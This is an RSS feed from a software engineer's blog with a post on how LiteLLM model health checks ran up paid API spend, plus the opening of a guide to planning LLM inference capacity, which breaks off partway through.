<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0">
  <channel>
    <title>Andrey Krisanov</title>
    <link>https://akrisanov.com</link>
    <description>Staff Software Engineer writing about AI infrastructure, ML systems, distributed systems, GPU infrastructure, and production LLM serving.</description>
    <generator>Zola</generator>
    <language>en</language>
    <atom:link href="https://akrisanov.com/rss.xml" rel="self" type="application/rss+xml" />
    
    <lastBuildDate>Tue, 01 Sep 2026 00:00:00 +0000</lastBuildDate>
    

    
    <item>
      <title>The shelf</title>
      <pubDate>Sun, 23 Aug 2026 00:00:00 +0000</pubDate>
      <dc:creator>Andrey Krisanov</dc:creator>
      <link>https://akrisanov.com/shelf/</link>
      <guid>https://akrisanov.com/shelf/</guid>
      <description xml:base="https://akrisanov.com/shelf/"><![CDATA[
        <p>Published: 2026-08-23</p>
        <p>Updated: 2026-08-23</p>
        
          
        
      ]]></description>
    </item>
    
    <item>
      <title>Hidden Costs of LiteLLM&#39;s Health Checks</title>
      <pubDate>Sat, 15 Aug 2026 00:00:00 +0000</pubDate>
      <dc:creator>Andrey Krisanov</dc:creator>
      <link>https://akrisanov.com/hidden-costs-of-litellm-health-checks/</link>
      <guid>https://akrisanov.com/hidden-costs-of-litellm-health-checks/</guid>
      <description xml:base="https://akrisanov.com/hidden-costs-of-litellm-health-checks/"><![CDATA[
        <p>Published: 2026-08-15</p>
        
        
          <p>We run LiteLLM as an internal gateway in front of two kinds of models: local vLLM deployments and paid external
models. At the time of the incident, the proxy was running LiteLLM 1.82.x with four replicas, Redis for shared state,
and background model health checks enabled.</p>
<p>The relevant part of the configuration looked like this:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">g</span><span style="color: light-dark(#1E66F5, #89B4FA);">eneral_settings</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">  b</span><span style="color: light-dark(#1E66F5, #89B4FA);">ackground_health_checks</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#FE640B, #FAB387);"> true</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">  u</span><span style="color: light-dark(#1E66F5, #89B4FA);">se_shared_health_check</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#FE640B, #FAB387);"> true</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">  h</span><span style="color: light-dark(#1E66F5, #89B4FA);">ealth_check_interval</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#FE640B, #FAB387);"> 30</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">  h</span><span style="color: light-dark(#1E66F5, #89B4FA);">ealth_check_concurrency</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#FE640B, #FAB387);"> 4</span></span></code></pre>
<p>The problem showed up in the external provider's usage view. Over roughly one to two weeks, a key reserved for
LiteLLM health checks accumulated 63,011 successful requests, 9.0 million tokens, and $372.59 in spend. One
deep-research model accounted for $295.40. Similar spend appeared in other environments, so this was not a one-off
request or a single-model anomaly.</p>
<h2 id="what-was-not-causing-the-spend">What was not causing the spend</h2>
<p>Our Kubernetes probes were configured like this:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">s</span><span style="color: light-dark(#1E66F5, #89B4FA);">tartupProbe</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">  h</span><span style="color: light-dark(#1E66F5, #89B4FA);">ttpGet</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">    p</span><span style="color: light-dark(#1E66F5, #89B4FA);">ath</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> /</span><span style="color: light-dark(#40A02B, #A6E3A1);">health/liveliness</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">    p</span><span style="color: light-dark(#1E66F5, #89B4FA);">ort</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#FE640B, #FAB387);"> 4000</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">l</span><span style="color: light-dark(#1E66F5, #89B4FA);">ivenessProbe</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">  h</span><span style="color: light-dark(#1E66F5, #89B4FA);">ttpGet</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">    p</span><span style="color: light-dark(#1E66F5, #89B4FA);">ath</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> /</span><span style="color: light-dark(#40A02B, #A6E3A1);">health/liveliness</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">    p</span><span style="color: light-dark(#1E66F5, #89B4FA);">ort</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#FE640B, #FAB387);"> 4000</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">r</span><span style="color: light-dark(#1E66F5, #89B4FA);">eadinessProbe</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">  h</span><span style="color: light-dark(#1E66F5, #89B4FA);">ttpGet</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">    p</span><span style="color: light-dark(#1E66F5, #89B4FA);">ath</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> /</span><span style="color: light-dark(#40A02B, #A6E3A1);">health/readiness</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">    p</span><span style="color: light-dark(#1E66F5, #89B4FA);">ort</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#FE640B, #FAB387);"> 4000</span></span></code></pre>
<p>These probes were not generating model traffic. LiteLLM documents <code>/health/liveliness</code> and <code>/health/readiness</code> as
lightweight proxy probes that do not make LLM calls. Liveness only checks that the process is up.
Readiness checks whether the worker can accept traffic and, when a database is configured,
returns 503 if the database is unreachable.</p>
<p>We also had <code>use_shared_health_check: true</code>. With Redis coordination working, LiteLLM uses a distributed lock and
cached results so that multiple proxy pods do not all perform the same model checks independently.</p>
<p>The paid traffic came from LiteLLM's <strong>model</strong> health checks. In our configuration, background checks were enabled
for both local and external deployments.</p>
<h2 id="root-cause">Root cause</h2>
<p>A LiteLLM model health check is a real model request, not just an HTTP connectivity check.</p>
<p>For a deployment with <code>model_info.mode: chat</code>, LiteLLM tests the <code>/chat/completions</code> path. In LiteLLM
v1.82.0, a non-wildcard route defaulted to one output token unless <code>health_check_max_tokens</code> was set
explicitly. In LiteLLM 1.96.2, the default is 16, with additional model-specific and global overrides. In both
versions, the provider processes the prompt and generated tokens, so a paid upstream can charge for the request
according to the selected model's pricing. The one-output-token limit in v1.82.0 did not bound other billable
work performed by a research model, which explains how these small probes could still accumulate substantial usage.</p>
<p>The exact request volume needs one qualification. <code>health_check_interval</code> controls how often the background loop runs,
but with shared health checks enabled it is not necessarily the same as the upstream model-call interval.</p>
<p>Both the incident-era and current implementations cache shared health-check results in Redis. The default shared-cache
TTL is 300 seconds, so a background loop running every 30 seconds can reuse a cached result instead of calling every
model on every iteration. The effective upstream request rate therefore depends on both the loop interval and whether
shared coordination is actually working.</p>
<p>The incident-era implementation in LiteLLM v1.82.0 had another important detail. If a pod could not acquire
the shared Redis lock, it waited only two seconds for the lock holder to publish cached results. If no cache was
available after that wait, the pod fell back to running the model health checks locally. Redis could therefore be
available and the shared-health-check feature enabled, yet slow health-check cycles could still cause several proxy
pods to issue overlapping paid probes.</p>
<p>We did not have enough evidence to prove that this fallback path accounted for every one of the 63,011 requests,
but it is a plausible contributor in a multi-pod deployment and makes <code>use_shared_health_check: true</code> insufficient
as the only cost-control measure.</p>
<p>LiteLLM has since changed this logic. In the current implementation, a pod that misses the lock polls for cached
results for up to the lock TTL instead of falling back after a fixed two-second wait. This is one reason the article
distinguishes the v1.82.x incident from the current configuration.</p>
<p>Without shared caching, a 30-second model-check interval would be roughly:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="plain"><span class="giallo-l"><span>2 checks/minute x 60 minutes x 24 hours = 2,880 checks/day</span></span>
<span class="giallo-l"><span>2,880 x 30 days ≈ 86,400 checks/month per deployment</span></span></code></pre>
<p>That is an upper-bound calculation for a setup that effectively executes every scheduled probe upstream. It is not the
expected request count when shared health-check caching is working correctly.</p>
<p><code>health_check_concurrency: 4</code> does not lower the number of model checks.
It only bounds how many health-check requests LiteLLM runs concurrently.</p>
<p>This is the distinction that matters:</p>
<table><thead><tr><th>Mechanism</th><th>Purpose</th><th>Calls a model</th></tr></thead><tbody>
<tr><td><code>/health/liveliness</code></td><td>Proxy liveness</td><td>No</td></tr>
<tr><td><code>/health/readiness</code></td><td>Proxy readiness and configured DB reachability</td><td>No</td></tr>
<tr><td>LiteLLM model health check</td><td>Test a deployment and update model health state</td><td>Yes</td></tr>
</tbody></table>
<div class="article-key-point"><p>A LiteLLM model health check is inference traffic.
For a paid upstream API, health-check policy is also a cost-control decision.</p>
</div>
<h2 id="what-we-changed">What we changed</h2>
<p>We still wanted proactive checks for local models. Those deployments are part of the infrastructure we operate, and
LiteLLM can use their health state to avoid routing new requests to an unhealthy deployment. For paid external models,
the same probe policy had a direct dollar cost and much less operational value in our setup.</p>
<p>Current LiteLLM uses global enablement with per-deployment opt-out. The equivalent configuration in LiteLLM 1.96.2
keeps background checks enabled:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">g</span><span style="color: light-dark(#1E66F5, #89B4FA);">eneral_settings</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">  b</span><span style="color: light-dark(#1E66F5, #89B4FA);">ackground_health_checks</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#FE640B, #FAB387);"> true</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">  u</span><span style="color: light-dark(#1E66F5, #89B4FA);">se_shared_health_check</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#FE640B, #FAB387);"> true</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">  h</span><span style="color: light-dark(#1E66F5, #89B4FA);">ealth_check_interval</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#FE640B, #FAB387);"> 30</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">  h</span><span style="color: light-dark(#1E66F5, #89B4FA);">ealth_check_staleness_threshold</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#FE640B, #FAB387);"> 90</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">  h</span><span style="color: light-dark(#1E66F5, #89B4FA);">ealth_check_concurrency</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#FE640B, #FAB387);"> 4</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">  e</span><span style="color: light-dark(#1E66F5, #89B4FA);">nable_health_check_routing</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#FE640B, #FAB387);"> true</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">  h</span><span style="color: light-dark(#1E66F5, #89B4FA);">ealth_check_ignore_transient_errors</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#FE640B, #FAB387);"> true</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">  h</span><span style="color: light-dark(#1E66F5, #89B4FA);">ealth_check_skip_disabled_background_models</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#FE640B, #FAB387);"> true</span></span></code></pre>
<p>Local deployments remain eligible for background checks by default:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">m</span><span style="color: light-dark(#1E66F5, #89B4FA);">odel_list</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">  -</span><span style="color: light-dark(#1E66F5, #89B4FA);"> m</span><span style="color: light-dark(#1E66F5, #89B4FA);">odel_name</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> i</span><span style="color: light-dark(#40A02B, #A6E3A1);">nternal-model</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">    l</span><span style="color: light-dark(#1E66F5, #89B4FA);">itellm_params</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">      m</span><span style="color: light-dark(#1E66F5, #89B4FA);">odel</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> h</span><span style="color: light-dark(#40A02B, #A6E3A1);">osted_vllm/internal-model</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">      a</span><span style="color: light-dark(#1E66F5, #89B4FA);">pi_base</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> h</span><span style="color: light-dark(#40A02B, #A6E3A1);">ttp://internal-vllm:8000/v1</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">    m</span><span style="color: light-dark(#1E66F5, #89B4FA);">odel_info</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">      m</span><span style="color: light-dark(#1E66F5, #89B4FA);">ode</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> c</span><span style="color: light-dark(#40A02B, #A6E3A1);">hat</span></span></code></pre>
<p>For paid external deployments, we set <code>disable_background_health_check</code> in <code>model_info</code>:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">m</span><span style="color: light-dark(#1E66F5, #89B4FA);">odel_list</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">  -</span><span style="color: light-dark(#1E66F5, #89B4FA);"> m</span><span style="color: light-dark(#1E66F5, #89B4FA);">odel_name</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> e</span><span style="color: light-dark(#40A02B, #A6E3A1);">xternal-model</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">    l</span><span style="color: light-dark(#1E66F5, #89B4FA);">itellm_params</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">      m</span><span style="color: light-dark(#1E66F5, #89B4FA);">odel</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">&lt;provider&gt;/&lt;model&gt;</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">      a</span><span style="color: light-dark(#1E66F5, #89B4FA);">pi_key</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> o</span><span style="color: light-dark(#40A02B, #A6E3A1);">s.environ/EXTERNAL_PROVIDER_API_KEY</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">    m</span><span style="color: light-dark(#1E66F5, #89B4FA);">odel_info</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">      m</span><span style="color: light-dark(#1E66F5, #89B4FA);">ode</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> c</span><span style="color: light-dark(#40A02B, #A6E3A1);">hat</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">      d</span><span style="color: light-dark(#1E66F5, #89B4FA);">isable_background_health_check</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#FE640B, #FAB387);"> true</span></span></code></pre>
<p><code>disable_background_health_check: true</code> excludes that deployment from the background loop.
The default is <code>false</code>, so local deployments do not need an explicit enable flag.</p>
<p><code>health_check_skip_disabled_background_models: true</code> extends the opt-out to on-demand <code>/health</code> and shared health checks.
Without it, a deployment excluded from the background loop can still be probed by an on-demand model health check.
This setting is part of the current configuration and was not available in LiteLLM v1.82.0-stable.</p>
<p>This flag only controls health-check participation; it does not disable the deployment for normal user traffic.</p>
<h2 id="what-i-would-configure-from-the-start">What I would configure from the start</h2>
<p>For an in-house setup that mixes self-hosted and paid models:</p>
<ul>
<li>Use <code>/health/liveliness</code> and <code>/health/readiness</code> for Kubernetes probes.</li>
<li>Keep model health checks for deployments where proactive routing state is useful and the probe cost is acceptable.</li>
<li>Opt paid external deployments out of background checks unless continuous active probing is a deliberate requirement.</li>
<li>If an external provider needs synthetic monitoring, run it at a deliberate interval with an explicit cost budget.</li>
<li>Use shared health checks for a multi-pod LiteLLM deployment, but do not rely on them as the only cost-control measure.
Monitor Redis coordination and understand the fallback behavior of the LiteLLM version you run.</li>
<li>Check both <code>health_check_interval</code> and <code>DEFAULT_SHARED_HEALTH_CHECK_TTL</code> when estimating probe frequency.
They control different parts of the mechanism.</li>
<li>Measure actual provider-side health-check traffic instead of deriving spend from the interval alone. The provider's
usage view was what exposed this incident.</li>
</ul>
<p>For shared checks, LiteLLM exposes:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="plain"><span class="giallo-l"><span>GET /health/shared-status</span></span></code></pre>
<p>It reports Redis availability, lock state, cache age, and the pod that produced the cached result.
This is useful for verifying that cross-pod coordination is actually working.</p>
<aside class="article-scope-note" aria-label="Ecosystem snapshot">
  <div class="article-scope-note-title">
    Ecosystem snapshot ·
    <time datetime="2026-08-15">August 15, 2026</time>
  </div>
  <div class="article-scope-note-body"><p>The incident occurred on LiteLLM 1.82.x. The present-day behavior and configuration in this article were verified
against LiteLLM 1.96.2 as of August 15, 2026. Health-check behavior has changed over time, so verify it against the
version you deploy.</p>
</div>
</aside>
<h2 id="sources-and-further-reading">Sources and further reading</h2>
<nav class="further-reading" aria-label="Sources and further reading">
  <ul>
<li><a rel="noopener external" target="_blank" href="https://docs.litellm.ai/docs/proxy/health">LiteLLM: Health Checks</a>
<span class="further-reading-description">Proxy and model health-check endpoints, configuration, and behavior.</span></li>
<li><a rel="noopener external" target="_blank" href="https://docs.litellm.ai/docs/proxy/shared_health_check">LiteLLM: Shared Health Check State Across Pods</a>
<span class="further-reading-description">Redis-backed coordination and caching for multi-pod deployments.</span></li>
<li><a rel="noopener external" target="_blank" href="https://docs.litellm.ai/docs/proxy/health_check_routing">LiteLLM: Health Check Driven Routing</a>
<span class="further-reading-description">How health-check results affect deployment routing.</span></li>
<li><a rel="noopener external" target="_blank" href="https://github.com/BerriAI/litellm/blob/v1.82.0-stable/litellm/proxy/health_check.py">LiteLLM 1.82.0 source: <code>proxy/health_check.py</code></a>
<span class="further-reading-description">The incident-era health-check request and one-token default.</span></li>
<li><a rel="noopener external" target="_blank" href="https://github.com/BerriAI/litellm/blob/v1.82.0-stable/litellm/proxy/health_check_utils/shared_health_check_manager.py">LiteLLM 1.82.0 source: <code>shared_health_check_manager.py</code></a>
<span class="further-reading-description">The incident-era shared locks, cached results, and two-second fallback to local checks.</span></li>
<li><a rel="noopener external" target="_blank" href="https://github.com/BerriAI/litellm/blob/v1.96.2/litellm/proxy/health_check.py">LiteLLM 1.96.2 source: <code>proxy/health_check.py</code></a>
<span class="further-reading-description">The current health-check request, token defaults, and model opt-out filtering.</span></li>
<li><a rel="noopener external" target="_blank" href="https://github.com/BerriAI/litellm/blob/v1.96.2/litellm/proxy/health_check_utils/shared_health_check_manager.py">LiteLLM 1.96.2 source: <code>shared_health_check_manager.py</code></a>
<span class="further-reading-description">The current lock-TTL polling and fallback behavior.</span></li>
</ul>
</nav>

        
      ]]></description>
    </item>
    
    <item>
      <title>How to Plan LLM Inference Capacity for a Shared Platform</title>
      <pubDate>Wed, 29 Jul 2026 00:00:00 +0000</pubDate>
      <dc:creator>Andrey Krisanov</dc:creator>
      <link>https://akrisanov.com/planning-llm-inference-capacity/</link>
      <guid>https://akrisanov.com/planning-llm-inference-capacity/</guid>
      <description xml:base="https://akrisanov.com/planning-llm-inference-capacity/"><![CDATA[
        <p>Published: 2026-07-29</p>
        
        
          <p>A recurring capacity-planning request for an internal LLM platform is:</p>
<blockquote>
<p>We have selected a model. Do we have enough capacity, and how many GPUs would we need for N users?</p>
</blockquote>
<p>The question is missing the information needed to answer it.</p>
<p>The model and its serving configuration determine the minimum resources required to start one replica.
They don't tell us how many requests that replica can handle while meeting the product's latency and reliability requirements.
That depends on prompt and response lengths, arrival rate, concurrency, cache reuse, calls per user task, traffic bursts,
and competition with other workloads.</p>
<div class="article-key-point"><p>The model determines the footprint of one replica. The workload and service-level objectives determine how many
replicas the product needs.</p>
</div>
<p>This guide describes how product and platform teams can replace capacity guesses with measurements. It is not a GPU calculator.</p>
<h2 id="three-different-capacity-questions">Three different capacity questions</h2>
<p>Capacity planning combines three separate questions.</p>
<table><thead><tr><th>Question</th><th>What it means</th><th>Information required</th></tr></thead><tbody>
<tr><td><strong>Replica footprint</strong></td><td>How many GPUs are required to start one model replica?</td><td>Exact checkpoint and revision, precision or quantization, context limit, parallelism strategy, runtime version, and serving configuration</td></tr>
<tr><td><strong>Serving capacity</strong></td><td>How much load can one warm replica sustain within the SLO?</td><td>A representative workload, target hardware, request arrival pattern, and load test</td></tr>
<tr><td><strong>Product capacity</strong></td><td>How many replicas and GPUs are required in production?</td><td>Peak offered load, SLO, isolation model, growth forecast, failure reserve, and degradation policy</td></tr>
</tbody></table>
<p>The first question is mostly about memory and execution topology. The second requires a performance experiment.
The third includes production demand and reliability requirements.</p>
<p>This distinction also explains why an unallocated GPU isn't immediately available as serving capacity.
Before the platform can handle traffic, it must place a replica,
load the model, allocate its KV cache, warm the runtime, pass readiness checks, and attach it to the request path.
Depending on the model size and configuration, this can take <em>minutes</em>.
If the startup time is longer than the product can handle during a busy period, reactive autoscaling won't replace warm reserve.</p>
<h2 id="why-user-count-is-a-weak-capacity-signal">Why user count is a weak capacity signal</h2>
<p>Two requests to the same model can have very different costs:</p>
<ul>
<li>a short question with a short answer</li>
<li>a summarization request with tens of thousands of input tokens</li>
<li>an agent step containing tool schemas and a long conversation history</li>
<li>a request that reuses a cached prefix</li>
<li>a long-running generation that keeps KV-cache blocks active</li>
<li>a user task that triggers ten LLM calls, several tool calls, retries, and context compaction</li>
</ul>
<p>Modern inference engines such as vLLM combine requests through continuous batching.
They schedule prompt processing (<strong>prefill</strong>) and token generation (<strong>decode</strong>) while managing a queue and KV cache.
Prefill is usually more compute-intensive, while decode is often constrained by memory bandwidth and the number of active sequences.
Changes in the input-length distribution can increase time to first token without changing the output throughput.
Changes in concurrency or output length can make token streaming take longer and fill up the KV cache.</p>
<p>This is why the following two products may have the same number of users but require very different capacity:</p>
<ul>
<li>a chat assistant used a few times per day</li>
<li>a coding agent that performs many LLM calls for every user task</li>
</ul>
<div class="article-key-point"><p>Capacity depends on the workload generated by the product over time, not the number of user accounts.</p>
</div>
<h2 id="start-with-workload-classes">Start with workload classes</h2>
<p>Before collecting aggregate metrics, describe the operations the product performs:</p>
<table><thead><tr><th>Workload class</th><th>Typical shape</th></tr></thead><tbody>
<tr><td>Interactive question answering</td><td>Short or medium prompt, short streamed response, latency-sensitive</td></tr>
<tr><td>Document summarization</td><td>Long prefill, medium output, often asynchronous</td></tr>
<tr><td>Structured extraction</td><td>Medium prompt, constrained output, potentially high request rate</td></tr>
<tr><td>Coding assistant</td><td>Repository context, tool definitions, multi-turn interaction</td></tr>
<tr><td>Agent task</td><td>Multiple LLM calls, tools, retrieval, retries, and context compaction</td></tr>
<tr><td>Batch generation</td><td>High throughput, less strict per-request latency</td></tr>
</tbody></table>
<p>Do not build the workload only from successful demos. Include long tasks, tool failures, retries, user cancellations,
large contexts, and sessions that require compaction. These cases often determine tail latency and production capacity.</p>
<p>Model selection and capacity planning are related, but they shouldn't be combined into one step.
External APIs can help compare model quality quickly, but their throughput and latency do not predict a self-hosted deployment.
The final candidates should be benchmarked against the target runtime and hardware.</p>
<h2 id="define-slos-before-measuring-capacity">Define SLOs before measuring capacity</h2>
<p>"Comfortable performance for 500 users" is not a measurable requirement. Define service-level objectives before testing.</p>
<p>For streaming LLM applications, the main latency signals are:</p>
<ul>
<li><strong>time to first token (TTFT):</strong> how long the user waits before generation begins</li>
<li><strong>inter-token latency (ITL):</strong> the gaps between streamed tokens and the pauses a user can notice</li>
<li><strong>time per output token (TPOT):</strong> request-level decode time normalized by the number of generated tokens</li>
<li><strong>end-to-end request latency:</strong> how long the complete LLM call takes</li>
<li><strong>queue time:</strong> how long the request waits before execution</li>
<li><strong>task or agent-run duration:</strong> how long the user waits for the complete workflow</li>
</ul>
<p>Reliability signals matter as well:</p>
<ul>
<li>error and timeout rate</li>
<li>cancellation rate</li>
<li>model availability</li>
<li>SLO attainment percentage</li>
<li>behavior during overload, rollout, and infrastructure failure</li>
</ul>
<p>The product team should choose target values based on user experience and business requirements.
The platform team can then test whether a model configuration meets them.</p>
<p>Raw throughput is not the right optimization target. A server may complete more requests per second while allowing
TTFT or TPOT to become unacceptable. A better concept is <strong>goodput</strong>: the request rate the system can sustain while
meeting the defined latency objectives. The <a rel="noopener external" target="_blank" href="https://www.usenix.org/conference/osdi24/presentation/zhong-yinmin">DistServe paper</a>
uses this framing for LLM serving, and current
<a rel="noopener external" target="_blank" href="https://docs.vllm.ai/en/latest/cli/bench/serve/">vLLM benchmarking tools</a> can report SLO-constrained goodput.</p>
<h2 id="observe-the-application-and-the-inference-platform">Observe the application and the inference platform</h2>
<p>Proper capacity planning needs two complementary views.</p>
<h3 id="application-view">Application view</h3>
<p>For every LLM call, capture at least:</p>
<table><thead><tr><th>Category</th><th>Example fields</th></tr></thead><tbody>
<tr><td>Correlation</td><td><code>project</code>, <code>environment</code>, <code>session_id</code>, <code>run_id</code>, <code>llm_call_id</code>, <code>trace_id</code></td></tr>
<tr><td>Model</td><td>Requested alias, selected model, model revision</td></tr>
<tr><td>Work</td><td>Input, output, cached, and reasoning tokens when the runtime exposes them</td></tr>
<tr><td>Context</td><td>Context length, <code>max_tokens</code>, shared-prefix indicator</td></tr>
<tr><td>Timing</td><td>Request start, first-token time, completion time</td></tr>
<tr><td>Execution</td><td>Streaming mode, finish reason, status</td></tr>
<tr><td>Reliability</td><td>Timeout, cancellation, retry, attempt number</td></tr>
<tr><td>Scenario</td><td>Workload class, agent-loop step, compaction or normal call</td></tr>
</tbody></table>
<p>For an agentic application, one LLM call is too small a unit. The main unit should be the <strong>run</strong>: one execution of a user task.
A run should record the number of LLM calls, tool calls, retries, and compactions.
It should also record total token usage, maximum context length, models used, duration, final status, and a quality signal.</p>
<p>A tracing system like <a rel="noopener external" target="_blank" href="https://langfuse.com/docs/observability/overview">Langfuse</a> can show LLM calls,
retrieval, tools, and application logic as nested observations. Its data model also lets you group traces into
<a rel="noopener external" target="_blank" href="https://langfuse.com/docs/observability/data-model">sessions</a>. Preserve the causal structure of the task regardless
of the tracing system.</p>
<h3 id="inference-platform-view">Inference-platform view</h3>
<p>The inference layer usually exposes:</p>
<ul>
<li>running and waiting requests</li>
<li>queue-time distribution</li>
<li>prompt and generated token throughput</li>
<li>TTFT, ITL, request-level TPOT, and end-to-end latency</li>
<li>KV-cache usage, reuse, eviction, and preemption</li>
<li>request failures and runtime errors</li>
<li>GPU memory, utilization, throttling, and hardware health</li>
</ul>
<p>Measure offered load at the gateway and completed throughput at the model server.
